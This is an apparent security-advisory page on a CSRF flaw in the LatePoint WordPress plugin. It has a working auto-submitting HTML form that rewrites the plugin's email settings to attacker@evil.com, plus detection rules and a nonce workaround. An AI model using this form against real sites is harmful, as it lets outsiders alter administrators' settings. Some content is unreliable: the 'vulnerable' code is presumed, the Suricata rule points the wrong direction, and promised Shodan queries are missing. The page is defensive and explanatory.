CVE-2024-43945
Executive Summary
CVE-2024-43945 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the LatePoint WordPress plugin, versions through 4.9.91. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings, creating unauthorized bookings, or altering user permissions, without their consent. The vulnerability stems from missing or insufficient CSRF token validation in critical administrative functions. Given the widespread use of WordPress and the LatePoint booking plugin, this poses a significant risk to site integrity and data confidentiality. No public proof-of-concept or patch details are currently available, but the risk is elevated due to the plugin's privileged access.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. LatePoint is distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and ensure they are sourced from trusted channels. The lack of a patch at the time of analysis increases the risk of supply chain attacks if malicious actors distribute modified versions of the plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No direct data disclosure.
- Integrity (I): High (H) – The attacker can modify data or settings.
- Availability (A): None (N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and data manipulation in a widely-used booking plugin makes this a serious concern for site administrators.
Deep Dive & Mechanics
The vulnerability lies in the absence of CSRF nonce validation in several administrative AJAX actions and form submissions within the LatePoint plugin. WordPress uses nonces (number used once) to verify that requests originate from the legitimate user session. When a plugin fails to check these tokens, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, silently submits a request to the vulnerable WordPress site.
For example, an attacker could create a form that auto-submits to wp-admin/admin-ajax.php?action=latepoint_update_settings with malicious parameters. Since the request includes the victim's cookies, the server processes it as a legitimate action. This could allow the attacker to:
- Change payment gateway settings to redirect funds.
- Modify booking rules to cause service disruption.
- Create new admin users if the plugin has such functionality.
The attack requires no authentication from the attacker, only that the victim is logged in as an administrator.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is presumed to be in the plugin's AJAX handlers. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable: No nonce check
add_action('wp_ajax_latepoint_update_settings', 'latepoint_update_settings');
function latepoint_update_settings() {
// Process request without verifying nonce
update_option('latepoint_settings', $_POST['settings']);
}
A patched version would include a nonce verification:
// Patched: Nonce check added
add_action('wp_ajax_latepoint_update_settings', 'latepoint_update_settings');
function latepoint_update_settings() {
// Verify nonce
if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'latepoint_update_settings_nonce')) {
wp_die('Security check failed.');
}
update_option('latepoint_settings', $_POST['settings']);
}
The exact vulnerable functions are not publicly disclosed, but the pattern is consistent across CSRF vulnerabilities.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with LatePoint plugin version <= 4.9.91.
- An authenticated administrator user session.
Exploitation Steps:
- Craft a malicious HTML page that targets a sensitive action. For example, to change the plugin's email settings:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="latepoint_update_email_settings">
<input type="hidden" name="email_from" value="attacker@evil.com">
<input type="hidden" name="email_subject" value="Your booking has been hijacked">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
- Host the page on an attacker-controlled server or use a phishing link.
- Send the link to the victim administrator (e.g., via email or social engineering).
- Victim visits the page while logged into WordPress. The form auto-submits, and the action is executed.
Note: No public exploit code is available, so this is a conceptual demonstration.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithactionparameters starting withlatepoint_. - Look for requests with missing or invalid
_wpnonceparameters. - Analyze server logs for repeated POST requests from external IPs to administrative endpoints.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpthat lack a valid nonce. - Use the
SameSitecookie attribute set toLaxorStrictto mitigate CSRF. - Educate administrators about phishing attacks and the importance of logging out after sessions.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=latepoint_*parameters from unexpected IPs. - Referer headers pointing to external domains when accessing admin AJAX endpoints.
- POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/latepoint/with unexpected code changes. - New admin users created with suspicious usernames.
- Modified plugin files in
- Log IOCs:
- Repeated 200 responses to
admin-ajax.phpwithout a valid nonce parameter. - Unusual patterns in
wp_optionstable changes related tolatepoint_settings.
- Repeated 200 responses to
Detection Engineering
YARA Rule
rule Detect_LatePoint_CSRF_Exploit {
meta:
description = "Detects attempts to exploit CVE-2024-43945 in LatePoint plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-43945"
strings:
$ajax_action = /action=latepoint_[a-z_]+/
$missing_nonce = /_wpnonce=/
condition:
$ajax_action and not $missing_nonce
}
Sigma Rule
title: LatePoint CSRF Exploitation Attempt
id: 8f7b3c2a-1d5e-4f9b-8c3a-2b1d5e4f9b8c
status: experimental
description: Detects HTTP requests targeting LatePoint AJAX actions without a valid nonce
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=latepoint_'
filter:
cs-uri-query|contains: '_wpnonce='
condition: selection and not filter
falsepositives:
- Legitimate plugin updates with nonce
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43945 LatePoint CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=latepoint_"; http_uri; pcre:"/action=latepoint_[a-z_]+/"; content:!"_wpnonce="; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LatePoint plugin until a patch is released.
- Review and revoke any suspicious admin accounts created recently.
- Check server logs for unauthorized AJAX requests.
Long-term Fix:
- Apply the official patch from the vendor once released.
- If no patch is forthcoming, consider replacing the plugin with an alternative booking solution.
Workarounds:
- Implement a custom function in the theme's
functions.phpto add nonce checks to all LatePoint AJAX actions:
add_action('init', function() {
if (defined('DOING_AJAX') && DOING_AJAX) {
$action = $_REQUEST['action'] ?? '';
if (strpos($action, 'latepoint_') === 0) {
if (!wp_verify_nonce($_REQUEST['_wpnonce'] ?? '', $action . '_nonce')) {
wp_die('CSRF detected.');
}
}
}
});
- Use a security plugin like Wordfence to add CSRF protection.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.